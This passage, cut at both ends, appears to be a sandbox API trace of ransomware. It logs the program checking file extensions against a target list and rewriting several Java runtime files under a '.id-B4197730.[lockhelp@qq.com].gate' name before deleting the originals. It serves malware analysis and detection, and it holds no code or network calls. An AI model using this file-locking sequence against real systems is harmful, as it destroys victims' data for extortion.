Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.124] lstrlenW (lpString=".1cd") returned 4 [0295.124] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.124] lstrlenW (lpString=".jpg") returned 4 [0295.124] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.124] lstrlenW (lpString=".doc") returned 4 [0295.124] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString=".docx") returned 5 [0295.124] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0295.124] lstrlenW (lpString=".pdf") returned 4 [0295.124] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString=".xls") returned 4 [0295.124] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString=".xlsx") returned 5 [0295.124] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0295.124] lstrlenW (lpString=".ppt") returned 4 [0295.124] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.124] lstrlenW (lpString=".zip") returned 4 [0295.124] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString=".rar") returned 4 [0295.124] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString=".bz2") returned 4 [0295.124] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0295.125] lstrlenW (lpString=".7z") returned 3 [0295.125] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0295.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.125] lstrlenW (lpString=".dbf") returned 4 [0295.125] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0295.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.141] lstrlenW (lpString=".1cd") returned 4 [0295.141] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0295.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.141] lstrlenW (lpString=".jpg") returned 4 [0295.141] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0295.142] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0295.142] lstrlenW (lpString="javaws.jar") returned 10 [0295.142] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0295.150] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=944167) returned 1 [0295.150] CloseHandle (hObject=0x4b8) returned 1 [0295.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0295.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0295.151] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.151] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0295.151] GetLastError () returned 0x0 [0295.151] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xe6827, lpOverlapped=0x0) returned 1 [0295.422] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe6830, lpOverlapped=0x0) returned 1 [0295.446] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.447] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0295.447] SetEndOfFile (hFile=0x4f8) returned 1 [0295.832] CloseHandle (hObject=0x4f8) returned 1 [0295.832] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.832] SetEndOfFile (hFile=0x4b8) returned 1 [0295.847] CloseHandle (hObject=0x4b8) returned 1 [0295.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0295.848] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0295.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.848] lstrlenW (lpString=".doc") returned 4 [0295.848] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0295.848] lstrlenW (lpString=".docx") returned 5 [0295.848] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0295.848] lstrlenW (lpString=".pdf") returned 4 [0295.848] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0295.849] lstrlenW (lpString=".xls") returned 4 [0295.849] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0295.849] lstrlenW (lpString=".xlsx") returned 5 [0295.849] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0295.849] lstrlenW (lpString=".ppt") returned 4 [0295.849] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.849] lstrlenW (lpString=".zip") returned 4 [0295.849] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0295.849] lstrlenW (lpString=".rar") returned 4 [0295.849] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0295.849] lstrlenW (lpString=".bz2") returned 4 [0295.849] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0295.849] lstrlenW (lpString=".7z") returned 3 [0295.849] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.849] lstrlenW (lpString=".dbf") returned 4 [0295.849] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.849] lstrlenW (lpString=".1cd") returned 4 [0295.849] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.849] lstrlenW (lpString=".jpg") returned 4 [0295.849] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.849] lstrlenW (lpString=".doc") returned 4 [0295.849] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0295.849] lstrlenW (lpString=".docx") returned 5 [0295.849] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0295.849] lstrlenW (lpString=".pdf") returned 4 [0295.849] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0295.849] lstrlenW (lpString=".xls") returned 4 [0295.849] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0295.850] lstrlenW (lpString=".xlsx") returned 5 [0295.850] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0295.850] lstrlenW (lpString=".ppt") returned 4 [0295.850] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0295.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.850] lstrlenW (lpString=".zip") returned 4 [0295.850] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0295.850] lstrlenW (lpString=".rar") returned 4 [0295.850] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0295.850] lstrlenW (lpString=".bz2") returned 4 [0295.850] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0295.850] lstrlenW (lpString=".7z") returned 3 [0295.850] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0295.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.850] lstrlenW (lpString=".dbf") returned 4 [0295.850] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0295.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.850] lstrlenW (lpString=".1cd") returned 4 [0295.850] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0295.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0295.850] lstrlenW (lpString=".jpg") returned 4 [0295.850] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0295.850] lstrcmpiW (lpString1=".jfc", lpString2=".gate") returned 1 [0295.850] lstrlenW (lpString="profile.jfc") returned 11 [0295.850] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0295.851] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=20065) returned 1 [0295.851] CloseHandle (hObject=0x4b8) returned 1 [0295.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0295.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.851] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0295.851] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.851] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.851] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0295.852] GetLastError () returned 0x0 [0295.852] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4e61, lpOverlapped=0x0) returned 1 [0296.187] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4e70, lpOverlapped=0x0) returned 1 [0296.188] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.188] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xea, lpOverlapped=0x0) returned 1 [0296.188] SetEndOfFile (hFile=0x4f8) returned 1 [0296.188] CloseHandle (hObject=0x4f8) returned 1 [0296.188] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.188] SetEndOfFile (hFile=0x4b8) returned 1 [0296.198] CloseHandle (hObject=0x4b8) returned 1 [0296.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0296.199] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0296.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.199] lstrlenW (lpString=".doc") returned 4 [0296.199] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0296.199] lstrlenW (lpString=".docx") returned 5 [0296.199] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0296.199] lstrlenW (lpString=".pdf") returned 4 [0296.200] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0296.200] lstrlenW (lpString=".xls") returned 4 [0296.200] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0296.200] lstrlenW (lpString=".xlsx") returned 5 [0296.200] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0296.200] lstrlenW (lpString=".ppt") returned 4 [0296.200] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.200] lstrlenW (lpString=".zip") returned 4 [0296.200] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0296.200] lstrlenW (lpString=".rar") returned 4 [0296.200] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0296.200] lstrlenW (lpString=".bz2") returned 4 [0296.200] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0296.200] lstrlenW (lpString=".7z") returned 3 [0296.200] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.200] lstrlenW (lpString=".dbf") returned 4 [0296.200] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.200] lstrlenW (lpString=".1cd") returned 4 [0296.200] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.200] lstrlenW (lpString=".jpg") returned 4 [0296.200] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0296.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.201] lstrlenW (lpString=".doc") returned 4 [0296.201] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0296.201] lstrlenW (lpString=".docx") returned 5 [0296.201] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0296.201] lstrlenW (lpString=".pdf") returned 4 [0296.201] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0296.201] lstrlenW (lpString=".xls") returned 4 [0296.201] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0296.201] lstrlenW (lpString=".xlsx") returned 5 [0296.201] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0296.201] lstrlenW (lpString=".ppt") returned 4 [0296.201] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0296.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.201] lstrlenW (lpString=".zip") returned 4 [0296.201] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0296.201] lstrlenW (lpString=".rar") returned 4 [0296.201] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0296.201] lstrlenW (lpString=".bz2") returned 4 [0296.201] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0296.201] lstrlenW (lpString=".7z") returned 3 [0296.201] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0296.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.201] lstrlenW (lpString=".dbf") returned 4 [0296.201] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0296.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.201] lstrlenW (lpString=".1cd") returned 4 [0296.201] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0296.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0296.201] lstrlenW (lpString=".jpg") returned 4 [0296.201] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0296.202] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0296.202] lstrlenW (lpString="jfxswt.jar") returned 10 [0296.202] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0296.202] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=33932) returned 1 [0296.202] CloseHandle (hObject=0x4b8) returned 1 [0296.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0296.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.203] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0296.203] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.203] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.203] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0296.203] GetLastError () returned 0x0 [0296.204] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x848c, lpOverlapped=0x0) returned 1 [0296.346] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x8490, lpOverlapped=0x0) returned 1 [0296.347] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.347] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0296.347] SetEndOfFile (hFile=0x4c4) returned 1 [0296.347] CloseHandle (hObject=0x4c4) returned 1 [0296.347] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.347] SetEndOfFile (hFile=0x4b8) returned 1 [0296.350] CloseHandle (hObject=0x4b8) returned 1 [0296.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0296.350] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0296.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.351] lstrlenW (lpString=".doc") returned 4 [0296.351] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0296.351] lstrlenW (lpString=".docx") returned 5 [0296.351] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0296.351] lstrlenW (lpString=".pdf") returned 4 [0296.351] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0296.351] lstrlenW (lpString=".xls") returned 4 [0296.351] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0296.351] lstrlenW (lpString=".xlsx") returned 5 [0296.351] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0296.351] lstrlenW (lpString=".ppt") returned 4 [0296.351] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0296.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.351] lstrlenW (lpString=".zip") returned 4 [0296.351] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0296.351] lstrlenW (lpString=".rar") returned 4 [0296.351] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0296.351] lstrlenW (lpString=".bz2") returned 4 [0296.351] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0296.351] lstrlenW (lpString=".7z") returned 3 [0296.351] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0296.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.352] lstrlenW (lpString=".dbf") returned 4 [0296.352] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0296.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.360] lstrlenW (lpString=".1cd") returned 4 [0296.360] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0296.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.360] lstrlenW (lpString=".jpg") returned 4 [0296.360] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.361] lstrlenW (lpString=".doc") returned 4 [0296.361] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0296.361] lstrlenW (lpString=".docx") returned 5 [0296.361] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0296.361] lstrlenW (lpString=".pdf") returned 4 [0296.361] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0296.361] lstrlenW (lpString=".xls") returned 4 [0296.361] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0296.361] lstrlenW (lpString=".xlsx") returned 5 [0296.361] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0296.361] lstrlenW (lpString=".ppt") returned 4 [0296.361] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.361] lstrlenW (lpString=".zip") returned 4 [0296.361] lstrcmpiW (lpString1=".zip", 